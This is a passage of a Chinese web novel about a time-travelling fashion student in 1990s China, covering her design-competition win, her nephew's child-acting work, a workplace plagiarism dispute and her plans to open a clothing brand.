徐琳琳听完，从带来的包里掏出了自己的设计稿，“这是我画的，不过应该是用不上了。” 徐琳琳没去报名，但报纸上公布了比赛主题。她看到后就把自己关在房间里，什么都不做，也不管外面的人怎么吵，要把她送到哪里去，就画设计图。 刚开始还有人给她打电话，说是安慰她，实则打听她家里的事。后来就没人打了，因为大家都知道她爸爸在外面有个私生子，她妈妈要再婚，她这个所谓的独生女，马上就要被赶出家门，一脚踢到大洋彼岸去。 只有江雪，她的电话来的最晚，徐琳琳想起来她们之前约定过要在赛场见，这才回了电话，约江雪出来见面。 照旧聊了一下午，两个人的话题始终围绕着比赛，江雪没带设计稿，但她借咖啡店的纸笔，简单勾了个雏形出来。 都说当局者迷旁观者清，徐琳琳看了一会儿，忽然道：“这就是你眼中的未来吗？” 咖啡店临街，她们坐在靠窗的位置上，窗外的行人来来往往。徐琳琳沉吟片刻，指了指窗外说：“感觉这个未来，和现在没有多大的区别。” 已经到了秋天，一片变黄的树叶从半空中飘飘荡荡的落下来。江雪目光一凝，瞬间反应过来，为什么自己总觉得不满意。 “我知道了。”江雪深吸一口气。 她在画设计图的时候，总想着三十年后。三十年后不是未来吗？当然是。但问题在于，三十年后在她眼中是一个具体的存在，她知道未来是什么样子，在落笔时自然而然的有所参考。 但在其他人眼里，别管十年还是三十年，未来就是未来，未来是什么样，谁能想象得到？所以会尽可能的发挥想象力，天马行空。 出门时天色已经不早，依旧是一阵风吹过，徐琳琳将被风撩起的头发拨到耳后，轻声道：“我下个月就要出国了。” 出国留学的手续不是一时半会儿就能办好的，但她爸妈都不想她继续留在国内，给她找了个语言学校，先去学两年语言，再考虑大学的事情。 江雪把她落在桌子上的设计稿收好，递到她手里，“那看来，以后我们只能在国际时装周上见了。”—— 作者有话说：徐琳琳的故事番外见叭[眼镜] 第六十章 成衣展 设计稿交上去, 结果要等一个月。 这个月江雪也没闲着，既要上学，又要带关嘉言去电视台。 今年市里的元旦演出, 红星合唱团没有被选上, 但关嘉言被选上了。 电视台的电话先打到学校，学校又找到班主任, 最后是由班主任打电话给江雪说这件事。 一开始说的是去试镜，江雪还在疑惑，怎么这种演出还要试镜, 难不成要让关嘉言上台去演小品？按照约定时间去了一看, 才知道为什么喊他们来。 原来电视台今年请了武凌。 武凌和关嘉言的合唱登上了元旦晚会的舞台, 这回关嘉言可真是人人都知道了小明星了。还有人打听到江雪的联系方式, 邀请关嘉言去拍广告。 可惜关嘉言对拍广告实在不感兴趣, 江雪一问, 他就摇头, 然后说：“舅妈, 电视台请我去当小主持人。” 小主持人关嘉言还是想要试试的, 他从五岁起就跟江雪一起生活, 江雪说普通话, 到了上小学的时候，他的普通话是班里最好的，还被老师选去广播站当小播音员。 江雪点点头, “可以啊。” 小主持人是电视台的一档儿童节目, 每周一期, 每期节目的小主持人都不一样。除此外，还有部情景喜剧请关嘉言去客串，戏份不多, 拍摄时间定在寒假。 江雪把这些事一条条记下来。 临近年节，江雪带关嘉言去百货公司置办年华，到了童心服装店，发现乔亚楠当真在店里放了台电视机，把之前拍的广告在电视上循环播放。 过年串门的时候，乔亚楠给关嘉言包了个厚厚的大红包，“你是不知道，那个广告往店里一放，人家走过路过，都问问是不是跟武凌一起唱歌的那个小男孩。哎呀，我这个广告，拍的真是值了！” 等过了年，乔亚楠就打算把这个广告投到电视台去，到时候看得人更多！ 今年的春节在二月底，江雪从年前开始忙，忙过了整个春节，送关嘉言去剧组拍戏的工作全部交给了关山越，一直到过完十五，江雪才总算是松了口气。 衣服用不透光的罩子罩住，在二月结束前的最后一天，送去了服装公司。 成衣展和奖项公布在同一天，专家组在匿名阶段已经投过票。接下来还有现场观众投票，不牵扯奖项，但有一个最受欢迎奖。 一大早，江雪就从家里走了，她要赶去现场。模特们昨天已经彩排过一次，上午还要带妆再走一次，衣服有专门的人看着不会出问题，但江雪还是放心不下，连饭都来不及吃。 到了地方，模特们也都刚到，还要做妆造，最起码一个小时后彩排才能开始。江雪先去看自己的衣服，确定没什么问题后又把防尘罩盖上。 刚走出门，一个穿着西装，脖子上挂着工作证的人过来了，递给她一袋早餐，“江女士，这是关总让我送来的。” 江雪一看他的工作牌，原来是安保公司派过来的总负责人，再看安保公司的名字，果然是安泰。 江雪把袋子接过来，找了个没人的地方坐下吃饭。 热拿铁和三明治，既方便吃又不脏手，咖啡还能提神醒脑。 江雪慢悠悠吃完，再去后台转一圈，里面已经忙的热火朝天。 胃里吃饱了饭，热乎乎暖洋洋，江雪的心也稳下来不少。 大赛的基础奖项是一等奖、二等奖、三等奖。其中一等奖也是金奖，二等奖则分为银奖和铜奖，三等奖有十个，以及现场投票出来的最受欢迎奖，剩下的参与者，统一颁发优秀奖。 灯光一层层暗下，只有长长的T型舞台被照亮，江雪站在角落里，不自觉的放缓呼吸。 一个身穿银色渐变长裙，头戴帽子斗篷的模特从后台走了出来，行走间裙摆犹如水波潋滟，到了定点的位置，模特摘下斗篷，转身，露出从脖颈往下，到脊背的的一条长长的银白色的机械骨架。 * 比赛结束，徐琳琳从国外打来电话给江雪道贺。 江雪笑道：“你消息蛮灵通嘛。” 徐琳琳的语气同样轻松，出了国，她心里的大石头反而卸了下来，“当然灵通啊，我可是在网上看到的。” 网上？ 江雪反应过来，徐琳琳去了国外，现在的国外在电脑和互联网方面发展的要比国内快，当然国内现在也有，否则也不会把比赛的信息传到网上。 徐琳琳问：“那件衣服，叫什么名字？” 江雪：“仿生。” 仿生机器人的概念一直都有，电视上还演过家务机器人呢，只不过都是真人扮演的。在江雪的记忆里，一直到24年，机器人还像个老大爷似的在春晚上转手绢呢。像真人一样的家务机器人，直到江雪穿越，她都还没见过。 学院里再次挂上了横幅，去年是三等奖，今年是铜奖，照这个趋势看，明年就该有人拿银奖，金奖也是有可能的嘛！ 服装设计大赛是由服装公司牵头承办的，比赛一结束，好几个参赛者都接到了服装公司的橄榄枝，询问他们有没有入职的意愿。江雪离毕业还有两年，服装公司也没错过，告诉她大四可以跳过面试，直接去设计部实习。 崔丽丽羡慕不已，“我也想去服装公司，听说他们那里现在筛简历都很严格。” 江雪把笔在手上转了一圈，单手托着下巴，笑眯眯的看她，崔丽丽被她看的汗毛倒竖，赶紧摸了摸脸，“我脸上有什么东西吗？” 江雪不说话，方娟在另一边戳了戳她的肩膀，提醒她，“江雪的意思是，让你也去参赛。” “我？”崔丽丽的第一反应是拒绝，摆手摆的像是摇花手，“我不行，我还差得远呢。” “不试试怎么知道呢？”江雪说：“不一定拿奖，有这个参赛证明，到时候写在简历上，就是参加过国家级大型比赛，面试的时候就有优势。” 崔丽丽被说动了，其实她想参赛，但是又畏畏缩缩，总得叫人推她一下才肯迈出去那一步。她又去纠缠方娟，要方娟跟她一起报名。 索性里十月还有三四个月，方娟暂且答应下来，等过了暑假，说不定崔丽丽就把这事儿给忘了。 兜里的手机嗡嗡震动了两声，江雪拿出来看了一眼。最简单的直板手机，功能仅限于打电话和发短信，还贵的要死，唯一的优点就是小巧，方便携带。 这个手机是关山越送给她的获奖礼物，之前还想给她买大哥大，被江雪拒绝了，她不想带着搬砖出门。 短信是唐晓曦发来的，问江雪什么时候去港城，她要请江雪和关嘉言吃饭。 《山外山》电影上映后，唐晓曦签约了港城的经纪公司，江雪还在电视上看到了她拍的广告。 江雪在键盘上摁了几下，回了条消息，“半个月后。” 暑假，她要带关嘉言去港城拍电影了—— 作者有话说：[眼镜]《 》 60-70 第六十一章 时间大法1 电影厂牵头, 和港城的娱乐公司合拍的电影，庆祝明年港城回归，已经筹备了一年多, 从拍摄到演员再到后期, 早早定好的班底。 这部电影和《山外山》不同，《山外山》还会公开招募演员, 这部电影则是从传出风声开始，就有人络绎不绝的上门毛遂自荐，重要的角色直接内部消化, 根本轮不到外面的人分一杯羹。 但凡事都有例外, 原本定好的一名小演员, 因为生病发胖, 整个人大变样, 又要举家搬迁, 移民到海外, 索性辞演了这部电影。 消息传出来, 冯康平第一时间联系了江雪。他是从电影厂出来的职工, 有自己的消息渠道, 换了其他人, 压根儿连风声都听不到。 然而那时候的江雪正在为制作成衣忙得脱不开身，只能叫关山越带关嘉言飞了趟京市。 幸好是关山越去，去了后请客吃饭, 牵线搭桥, 打通门路……要是江雪去, 还真不一定能成。 最后总算给关嘉言争取到了一个试镜的机会，试镜完让回来等结果，一连等了半个月, 正当江雪以为没希望时，对方打了电话过来，通知他们去签合同。 七月份的港城热气腾腾，唐晓曦签约的公司本想趁着《山外山》的势头给她在电影里争取一个角色，最后争取到一个路人甲，也就是镜头扫过去露个脸，一句台词都没有，在江雪来之前已经拍完了。 露完脸的唐晓曦被经纪公司安排去演电视剧，人困在剧组出不来，只能给江雪打电话诉苦。 “我想请假来着。”没请下来，还被经纪人说了一顿，要她老老实实待在剧组里。 签了经纪公司，拍戏的机会是多了不少，但也有坏处，就是经纪人管她管的跟她妈似的，不光是拍戏演戏，连吃喝都要管。 唐晓曦之间没签经纪公司，是听了一起拍戏的小姐妹的劝告。 有些人打着经纪公司的幌子，骗人签约，签完后就说要交几百上千的培训费。还有签约时说的好好的，只要去了他们公司就有戏拍，结果还是自己跑剧组，还要把片酬分给他们。更有甚者，还会把人送到歌舞厅、夜总会。 发现自己被骗，想要解约的时候，就要出一大笔解约费。 现在的这家公司倒是不用担心会被人骗，就是竞争激烈了一些，带唐晓曦的这个经纪人手底下还有其他人。不过，唐晓曦最不怕的就是吃苦，竞争激烈不怕，剧组环境差也不怕，只要有戏拍，她天天都是开心的。 半年时间相处下来，经纪人对这个从内地来的小姑娘刮目相看，也愿意在她身上多下几分力气。 唐晓曦在电话里问：“你们来港城住哪儿啊？” 江雪说：“住在剧组附近的酒店。” 住在酒店，还要开两间房，因为他们这次来的有四个人，除了上次跟他们去剧组的方曼，还有一个男助理。 关嘉言九岁了，不能再将就着跟她们住在同一间房。 终于被经纪人放了一天假的唐晓曦跑来探班，见状狠狠酸了一把，“嘶，这算是跟了一个工作助理，一个生活助理，外加一个保镖？” 公司一开始都没给她配助理，还是拍这部电视剧的时候，经纪人才给她申请了一个。 海市的消费水平不低，港城更高，唐晓曦默默一算，发现剧组给关嘉言的片酬，连住酒店的钱都不够。 江雪笑了，“拍《山外山》的时候也不够。”剧组给他们安排了住的地方，但是两个人一间房，住宿条件也不如酒店，左支右绌，最后还是决定住酒店。 “晓曦姐姐！”关嘉言跑过来。 他脸上还带着妆，唐晓曦抱着胳膊打趣他，“呦，我们言言真像个小少爷。” “嘿嘿。” 关嘉言咧开嘴笑，唐晓曦定睛一看，“哎呦，牙都长出来了？” “早就长好了。”关嘉言不高兴的嘟了嘟嘴，“晓曦姐姐，我都要上四年级了！” “行行行，四年级，厉害！”唐晓曦朝他比了个大拇指，又问江雪：“今天要拍到什么时候啊？我请你们去吃饭。” “吃什么？”关嘉言以为是吃大餐。 唐晓曦呵呵一笑，“来港城，当然要吃茶餐厅了。” “哇！”关嘉言很期待，“是电视上演的那种吗？”他在家里没少看港剧。 唐晓曦没忍住用双手捧起他的脸，“当然！” * 港城回归的新闻带动了人们看电影的热潮，举国上下欢乐一片，又恰逢国庆假期，影院里人山人海，大家都在谈论新上映的电影。 关嘉言也在看电影的人群里，怀里捧着爆米花，手上拿着冰可乐。 他现在已经不像小时候那样，天天嚷嚷着要去拍电影了。 寒假的时候，舅妈和舅舅带他去京市好好玩了一圈，还去了一所名叫京电的大学，舅妈告诉她，他在电视上看到的那些明星，大部分都是从这所学校，还有一所名叫海戏的大学出来的。 海戏就在海市，从京市回来后，舅妈带他又去海戏转了一圈。 关嘉言把这段经历写进了自己的日记里，每天写日记时语文老师留给他们的寒假作业。老师说只有好好记录自己的生活，才能写好作文。 以前写作文，题目是我的梦想，关嘉言写他的梦想是演电影，当大明星。可现在他知道，原来演电影的人有那——么多，并且还都是大学生，他现在还只是个小学生呢。 关嘉言在心里默默修改了自己的梦想，他要好好学习，像舅妈一样考大学，只是京电太远了，海戏就很好，他坐公交车就能回家，就跟上小学一样。 电影看完，关嘉言依依不舍的送江雪去机场，“舅妈，我也想跟你一起去。” 江雪要去甘省，每个大四学生都面临两个难题，实习和做毕业设计。 去年的服装设计大赛江雪没有参加，但服装公司给她的实习邀请没有过期。和服装公司接洽后，江雪计划先去甘省采风，然后南下川省，回来途径苏市。 计划出去两个月，赶在年前回来。等到下学期，再一边实习，一边完成毕业设计。 但是坐飞机只能到甘省省会，下飞机后还要转乘火车和长途汽车。路途遥远，又人生地不熟，为了保证安全，还是由方曼全程陪同。 “不行，要是我们都走了，舅舅怎么办？”江雪冷酷无情的拒绝了关嘉言。 关嘉言被寄予了陪伴舅舅的厚望，江雪拍拍他的肩膀，像是在拍一个男子汉，“放心，等到你期末考试的时候，舅妈一定会回来的。” 关嘉言：“……”心里的难过瞬间少了一大半—— 作者有话说：马上就要完结了，所以写的有一点点困难[化了] 第六十二章 时间大法2 时光飞逝, 转眼就到了江雪大学毕业的日子。 毕业典礼当天，唐晓曦特意从外地赶来，祝贺江雪成功毕业, “快快, 剧组那边还等着我去开机呢，我就两个小时的时间。”唐晓曦催江雪带自己去看毕业展。 江雪的毕业作品“神妃仙子”被评为优秀作品, 就摆在展厅最显眼的位置，上面一束光，背后两束光, 将这件礼服照的流光溢彩, 华美非凡。凡是来参加展览的人, 第一眼看到的都是这件礼服。 唐晓曦只知道江雪学的是服装设计, 还是第一次亲眼见到她的设计作品, 不由得瞪大了双眼, 反应过来后站在展柜旁, 叫江雪赶紧给她多拍几张照片。 《红楼梦》唐晓曦自然是看过的, 也知道神妃仙子这个词, 却没想到江雪会用这个词来做一件衣服。 和周围的西式礼服不同, 这件“神妃仙子”明显借鉴了中国古典服饰, 面料色彩浓艳，几种令人意想不到的颜色结合在一起，反倒有种如梦似幻的感觉。金线绣成的云纹遍布, 拖尾是几条绮丽的飘带, 宛如九天玄女。 她啧啧称奇, “好漂亮的配色，你怎么想到的？” 怎么想到的，江雪笑道：“老祖宗教我的。” 对上唐晓曦不解的小眼神, 江雪笑眯眯的说：“等以后，你去过甘省就知道了。” 甘省一行，给江雪留下了深刻印象。上辈子的江雪就对这个城市心向往之，可惜一直没时间去，倒是在网上买了不少文创产品。穿过来之前，她甚至都已经做好了全套旅行计划，乘车住宿酒店景点等等一应俱全，还是省钱版的。 穿过来之后，这份旅行计划是用不上了。前后隔了将近三十年，甘省对景区的开发远没有后来那么完善。江雪在那里呆了半个多月才离开，因为景区内部禁止拍照，江雪只能用画笔记录下自己肉眼看到的，最真实的色彩。 除此外，上辈子江雪还在网上看到一些刺绣作品，绣猫绣狗，栩栩如生。于是从甘省离开后，她又先后去了川省和苏市，选面料，定图样，光是前期准备就花了足足两三个月，最后定稿设计图，制作成衣。 来庆祝江雪大学毕业的不止唐晓曦一个，还有乔亚楠和刘文月，就连远在京市分店当店长的春芽都打来电话祝贺，几个人齐心协力霸占了江雪，把关山越都给挤到了角落里。 唐晓曦问：“对了，怎么没见言言？” 江雪道：“上午来过，吃过午饭就回片场拍戏去了。” 去年庆祝港城回归的那部电影上映后，江雪的电话差点儿被星探打爆。 不过以关嘉言目前的年龄来说，邀请他参演的都是些客串的小角色。江雪不会轻看这些小角色，大部分艺人都是从小角色一步步走出来的，但要是离得太远，或者时间不协调，也只能推掉。 此外还有一些广告邀约，十个里面有九个都是市面上找不到的小牌子。 倒是之前海市电视台请关嘉言去客串的那部家庭情景喜剧播了，观众反响不错，顺理成章的筹备起第二部。刚好赶上电影上映，导演还记得在上一部里客串过的关嘉言，便打电话联系他们要不要试镜一个角色。 新角色是家庭情景喜剧里的小儿子，戏份颇多，关嘉言面试通过后，江雪还叫关山越往剧组里投了笔钱。这一步算是起点，未来江雪打算以关嘉言的名义成立个人工作室，以便拥有更大的自主权。 这些都是后话。 听到关嘉言在片场，唐晓曦略略有些惊讶，“他自己？”关嘉言今年才十一岁吧？ 江雪点头，“有经纪人陪着。” 上辈子江雪在网上刷到过不少让孩子当童模或者网红养活一家人，父母却不事生产的新闻。但江雪和关山越不同，他们都不会把关嘉言当做赚钱的工具。 从前江雪上大学，还能腾出时间陪关嘉言跑剧组，如今她大学毕业，也要开始打拼自己的事业，不能像以前一样时刻陪着他。 再加上关嘉言渐渐长大，江雪索性直接聘请了一位职业经纪人，又从安泰找了个保镖当助理。 最后一算，剧组支付的片酬还没有他们花出去的多，还是倒贴钱打工。 好在关嘉言打工打的很快乐，新剧组的拍摄场地搭在样板房里，比之前的两个剧组环境都要好，早晚还能回家住，并且他年龄小，和其他人构不成竞争关系，一来二去，就成了剧组里最受欢迎的人。 刘文月笑道：“言言演的那部电视剧，甜甜天天在家看，每次带她出门，遇上什么人聊两句，她都得抓住机会插句嘴，说自己认识电视上的大明星。” 甜甜比关嘉言小将近三岁，虽然也在红星小学读书，但比关嘉言低了两个年级。相比之下，和关嘉言年龄相当，并且和他一直是同班同学的乔雨薇完美继承了妈妈的商业头脑。 想起来这件事，乔亚楠也是苦笑，“我都不知道她有那么大的主意，我还奇怪她把家里那些老照片翻出来做什么。” 老照片就是之前关嘉言给服装厂拍的那些模特照，都留了底片在家里。乔雨薇把底片拿去照相馆十张八张的重印，印出来的照片拿给关嘉言签名，再以三块钱一张的价钱卖出去。 要不是班主任发现没收了她的“货品”，乔亚楠还被蒙在鼓里。 按理说她给乔雨薇的零花钱不少，甚至在同龄人中算是多的，但乔雨薇振振有词，“这是我自己赚的钱，跟妈妈你给我的零花钱不一样。” 气的乔亚楠点着她的额头怒道：“你那是自己赚的钱吗？你是拿言言赚钱！” 唐晓曦头回听说这件事，忍不住哈哈大笑，“说明言言现在蛮有人气，粉丝群体很庞大嘛！” 乔亚楠呵呵一笑，“她告诉别人，言言以后要当大明星，他的签名照会越来越贵，现在三块钱一张，以后能卖三十块。” 合着还是当投资品来卖的。 江雪也忍不住笑了起来。 粉丝经济这个概念现在还没有被提出来，等到千禧年后，男团、女团选秀层出不穷，追星热潮一浪高过一浪。以关嘉言上辈子的顶流地位，到时候这些签名照，别说是三十块，就算是三千，三万，也有大把人愿意出钱购买，甚至有市无价。 唐晓曦还要赶飞机，聊不了太久就要走，临走之前，她看着展柜里的礼服道：“这件衣服就放在这里？” 江雪摇头，“展览结束后就要自行取走，不过学校举办展览也是售卖，如果有人看上，出价也合适，就可以买走。” 唐晓曦双眼一亮，指着礼服问：“那这件？” 江雪点点头，确实有人想买，“不过我不打算卖。”江雪觑了眼她的神色，“不卖，但是可以租借。” 唐晓曦想要说什么，张了张嘴，但又犹豫了一下，“我得回去问问经纪人。” 江雪理解，“行，给你留着。” * 毕业第二天，痛失寒暑假的江雪照常去服装公司上班。 从甘省回来后，她就以实习生的身份顺利入职了服装公司设计部。和她一起来实习的应届生一共有五个，但转正名额只有一个。 谁走谁留还没确定，因为这事，最近几天里办公室的气氛都紧张了不少。 江雪来的不算晚，进门后，正在闲聊的几个人纷纷回过头看了她，还有人话说半句，转头看见来的人是她，立马闭上了嘴，自以为不动声色的和旁边人交换着眼色。 江雪权当自己没看到，笑眯眯的和他们打招呼，等在工位上坐了没一会儿，就有人过来叫她，“江雪，那个，文设计师在会议室等你。” 每个实习生都有带自己适应工作环境的老师，分给江雪的这位老师叫文治平，三十多岁的年纪，已经在公司里工作了十年。 江雪起身道：“好，我这就过去。” 等她离开，办公室立马炸开了锅，刚才说话的几个人又聚到了一起，七嘴八舌道：“哎哎，你们说文设计师叫她去做什么？” “还能做什么？当然是问她为什么抄袭呗！” “不过我听人说，提交上去的设计稿只有文设计师一个人的名字，现在说江雪抄袭，是不是有点儿……” 几个人对了对眼神，心里都明白这是叫江雪去顶锅。 至于那几份设计稿到底是谁的，谁也说不清，但文治平交上去的时候只写了自己的名字，现在被发现和杂志上的衣服款式一模一样，又改口说是江雪的设计稿。 江雪顺着走廊来到了会议室外，敲了敲门，得到回应后便推门走了进去。 会议室里坐着三五个人，文治平面色阴沉的坐在其中一张椅子上，另外几个人则抬起头，审视的看着江雪。 江雪只认出来其中一个是设计部的吴经理，“吴经理，文设计师，请问找我有什么事？” 江雪态度坦荡，仿佛真的不知道自己为什么会被叫过来。 吴经理率先开口，她点了点桌子上的图纸，“这几张图你见过吗？” 江雪走到会议桌前，垂眸看了眼，这是几张服装结构图，“见过。”江雪大大方方的承认。 一旁的文治平立马像是抓到了什么把柄一样，厉声道：“江雪，你还不承认自己抄袭吗？” “抄袭？”江雪迷茫的眨了眨眼，“文设计师是说这几张图吗？” 文治平恨恨的看着她，“你还想狡辩不成？” 闻言，江雪粲然一笑，“文设计师，我的话还没说完。这几张结构图是我照着杂志上的样衣画的。” 没想到她承认的这么爽快，文治平眼中流露出一丝惊喜，然而，江雪紧接着的后半句话又把他打回了原型。 江雪道：“衣服款式我很喜欢，所以对比图样画了结构图，想给自己做身新衣服。”顿了顿，她看向吴经理几人，语气诚恳，“吴经理，我给自己做衣服，有什么问题吗？”—— 作者有话说：sorry，高估自己了，这张发小红包[可怜] 第六十三章 开店1 杂志上的衣服款式好看, 自己比着做一件自己穿，有问题吗？ 那当然是没有的。 家里的女性长辈，十有八九都会做针线活。也就是现在条件好了, 以前逢年过节的时候, 家家户户不都是买块布回来自己做新衣裳。至于衣服的款式，不都是看电视, 看杂志学来的，复杂一点儿的不会做，还要找手艺好的裁缝。 “自己穿？”文治平抢白道：“这可是礼服！” 现在满大街的专卖店, 什么衣服买不到。更何况又不是明星, 谁会闲的没事给自己做礼服穿？！ 这件礼服是为一个女明星设计的, 文治平自己做的时装效果图被对方退回, 偶然间看到了江雪放在桌子上的设计稿, 便打着试一试的心态给对方发了过去。 谁曾想对方之前还挑剔来挑剔去, 这回居然拍板定了他抄画的江雪的那张图。文治平心里不舒服, 可也没打算把江雪的名字写上去。 毕竟要不是他, 江雪一个实习生, 哪来的资格给女明星设计衣服？ 当然文治平没打算白拿, 五个实习生里只能留下来一个, 到时候他替江雪多说几句好话，叫她能够转正留下来也就是了。 但他怎么都没想到，就在几天前, 突然有人给女明星寄了封信, 说他设计的礼服是抄袭的, 还把杂志也寄了过去。那边一看，立马就过来找他们讨要说法。 这件礼服可是女明星打算去港城参加活动时穿的，成衣都做了一半了, 要是他们没发现，反倒叫港城的那些记者们先发现，到时候指不定要被写成什么样子发在报纸上。 正因如此，文治平才赶紧撇清关系，叫江雪来对峙。 江雪朝他微笑，“昨天我大学毕业，和同学约好穿礼服拍照。” 文治平心中那根胜券在握的弦断了，他要把抄袭的责任推给江雪，可如果真的是江雪抄袭，那她明知道这件礼服是给女明星设计的，又怎么会堂而皇之的给自己做相同的一件穿出去。 “你，你！”就算再傻，文治平也知道是怎么一回事了。他的胸膛剧烈起伏，看着江雪的眼神中充满不可置信，“你故意的！” 故意把设计稿放在显眼的位置，故意让他看到，就是因为他之前拿了几张她的设计稿，所以江雪用这种方式报复他。 江雪笑容不变，“我不明白你的意思，文设计师。” 文治平脑子里嗡嗡作响，要不是条件不允许，他真想抓着江雪问她为什么要这么做。几张设计稿而已，谁不是这么过来的？这么做对她有什么好处？难道她就不怕自己没办法从实习生转正？ * “没有转正？”崔丽丽吃了一惊，他们整个专业也就江雪进到服装公司去实习了，大家都还羡慕的不行呢，觉得她一定能留在服装公司上班，“为什么啊？” 江雪把事情简单说了一遍，末了叹了口气，“大鱼吃小鱼，小鱼吃虾米。”而她，就是那只最小的虾米。文治平做事固然可恶，但大家相安无事这么多年，偏偏江雪戳破了这个假象，结果可想而知。 好在江雪一开始就没打算转正。 服装公司成立几十年，内部人员庞杂，光是设计部就分为好几个小组，每个小组二三十人。服装设计大赛连开好几届，连带着获奖者都变得不值钱。还有上一代的员工们，在公司里干了十几二十年，总不能把他们开除，给新人腾位置。 崔丽丽似懂非懂，但她没忘了重点，“那，那个姓文的呢？” “被开除了。”江雪轻松的耸了耸肩。 女明星的公司追着要说法，他们可不管文治平从哪儿来的设计稿，交给他们的图纸上明明白白的写着文治平的名字。 墙倒众人推，文治平不是第一次拿别人的设计稿写自己的名字。之前碍于他的资历，大部分人都选择了忍气吞声，才让他的胆子越来越大。而这件事后，很快有竞争对手收集证据交了上去，不出一个星期，文治平就被公司开除了。 崔丽丽托着下巴听完，跟着叹了口气，“我们公司老板，才不管你什么设计不设计，就给我们几本杂志，让从里面挑好看的衣服出来，直接打版，做出样衣后送进工厂。” 虽然说他们这个专业确实有人去做版师和样衣工，但崔丽丽的理想是服装设计师，此时不免有些挫败，她低下头，小声嘟囔了一句，“早知道这样，还不如服从分配呢。” 按照政策，他们这届是最后一批享受大学生分配政策的人，但最后还是有很多人选择留在海市自主择业。 “留在海市，赚钱多啊！”崔丽丽拒绝分配时声音爽朗，“我老家一个月的工资现在才四五百块钱，海市都有一千块了。” 她们三个人里，只有方娟回到了老家。方娟的老家在苏市，家里有祖传的裁缝铺，专门做旗袍生意，这两年生意不错，一毕业爸妈就催着她回去帮忙。 叹息过后，崔丽丽问江雪道：“那你现在怎么办啊？是不是要投简历？” 江雪的视线落在楼下的几家店铺门头上，停了一会儿后抬手朝那边指了指，“你看那几家店。” 她们这会儿在一家商场里，新开的自助餐厅开业大酬宾，门外排着长长一条队伍，还有黄牛领了靠前的号码，来回穿梭问有没有人要的。自助餐三十块钱一个人，黄牛票要五十块，还不带餐费。 崔丽丽顺着江雪手指的方向看过去，“怎么了？不就是那几家什么洋名牌吗？哎你都不知道，前段时间我们公司有个人买了件名牌衬衣，一连穿了好几天，逢人就说什么‘没有件名牌的行头没法见人’。” 江雪：“然后呢？” “然后其他人就跟着买了呗。”崔丽丽的语气中满是羡慕，“等下个月，下下个月发工资了，我也打算去买一件。” 她是学服装设计的，往常总是在课本上，杂志上看到这些国际大牌子。头回进店的时候，都没认真看店里有什么，就被价格吓出来了，一件衣服居然要几千块！ 后来跟着同事们一块进去，活像是刘姥姥逛大观园，看什么都是稀罕的。店里的营业员都跟外面的不一样，要先拿眼睛把人上下扫一遍，再爱答不理的开口。 江雪笑了：“你也打算买件衬衣一连穿好几天？” “才不是呢。”崔丽丽推了她一把，说：“我是觉得，我作为一个服装设计师，怎么说也算是时尚行业了，怎么能没有一件大牌衣服。” 大牌衣服。 江雪想起上辈子在网上看到的一些新闻，忽然道：“我也开一家那样的店，怎么样？”—— 作者有话说：晚上补二更[可怜] 第六十四章 开店2 崔丽丽不明所以, 她看了看楼下的店铺，又看了看江雪，疑惑道：“怎么开？去跟他们合作吗？” “不。”江雪果断道：“我的意思是, 成立自己的时装品牌。既然他们能成大牌, 为什么我们不能？” 开店的想法不是一夕之间就有的，以前满大街的衬衫专卖、西装专卖、女装专卖, 没有具体的品牌名。现在大都变成了品牌专卖，有的品牌在三十年后仍然存在，有的江雪连听都没有听说过。 可见在时代的浪潮下, 有人扶摇直上, 有人被拍在了沙滩上。 江雪打算先从服装店做起。 就像当初选择考大学一样, 下定决心后, 江雪开始发挥自己上辈子的老本行, 先做市场调研, 再写策划书。 得益于在服装公司实习的几个月, 市场调研这一块儿很顺利的完成了。接下来就是策划案, 好在家里装了电脑, 不用像以前一样一个字一个字的手写。 江雪忙了半个多月, 从店名到品牌定位, 再到市场分析和品牌营销策略，满满当当写了几十页。 开店的流程要比开公司简单的多，关键不需要最低注资成本。至于其他的, 设计师是她本人, 服装厂有乔亚楠, 至于开店的店铺，江雪拿着策划书找到了关山越。 安泰的一部分业务就是商场安保，有关山越帮忙, 江雪很快在商业街租到了一家临街店铺，一共两层，原本是做外贸店的，可随着进驻商业街的品牌专卖店越来越多，房租水涨船高，外贸店做不下去，只能退租了事。 江雪看过后就敲定了下来，一楼装修的还算不错，需要改动的地方不多，但二楼被上一任租户当做了休息室在用，江雪打算大刀阔斧的改，未来这一层就专门做私人订制。 就在店铺装修，江雪忙着把大学期间的设计图整理出来送到服装厂时，远在剧组拍戏的唐晓曦打来了电话。 唐晓曦现在在拍的是一部现代剧，她在里面饰演女二号，是个刁蛮任性的大小姐，但她找江雪说的是另外一件事，“江雪，那件神妃仙子还在吗？” “当然在。”江雪想起之前唐晓曦还问过她这件衣服是不是要卖出去，她说了可以租赁，“怎么？你要穿它去参加活动？” 临近年底，大大小小的活动确实多了起来。虽然没有后来的直播技术，可以实时观看明星们走红毯，但大大小小的媒体记者们也不是吃素的。 唐晓曦嘿嘿一笑，“我告诉你，你可不要告诉别人。” 江雪笑道：“什么事这么神秘？” “咳咳。”唐晓曦清清嗓子，“我要去演唱会上当嘉宾了。” 江雪一愣，“你不是演员吗？”她还从来没有听过唐晓曦唱歌呢。 唐晓曦“哎呀”一声，“现在都是这样的，拍两部戏，然后再唱几首歌，效果好的话就出唱片。”她跟的这个经纪人人很好，虽然工作少了点儿，但从来不会强行要求他们去参加什么酒会，“对了，你知道我参加的是谁的演唱会吗？” 江雪猜了个名字，“武凌？” 唐晓曦夸张大喊，“哇，你怎么知道！” 隔着电话，江雪都能想象得出她说这句话时的样子，一定是眉毛挑的高高的，眼睛瞪得大大的。 上次见她已经留长了头发，整个人看起来精致高挑，就是不说话时还好，一旦和人聊开了，那副唬人的面具立马消失不见。唐晓曦不止一次的抱怨经纪人不让她在外面多说话，参加活动多喝水，面对记者多微笑。 江雪笑了笑，说：“你都说了让我猜，说明一定是我认识的人，并且能开演唱会的，除了武凌，也没有别人了吧。” 上次听武凌说自己要开演唱会还是在两年前，之后一直没有消息，倒是又出了张唱片，还给关嘉言寄来一张签名版。那张唱片关嘉言翻来覆去听了不知道多少遍，也就是小学没有校园歌手大赛，否则关嘉言一定要拿个冠军回来。 说起来，再过四五年，以关嘉言的年龄，都能去参加超级男声了。 江雪听到电话那头有人喊唐晓曦去换衣服，她脑中灵光一闪，“你们剧组的服装有品牌赞助吗？” “品牌赞助？”唐晓曦飞快道：“不太清楚，我帮你问问。” 挂了电话，江雪在自己的策划书上新添了一笔，剧组赞助。 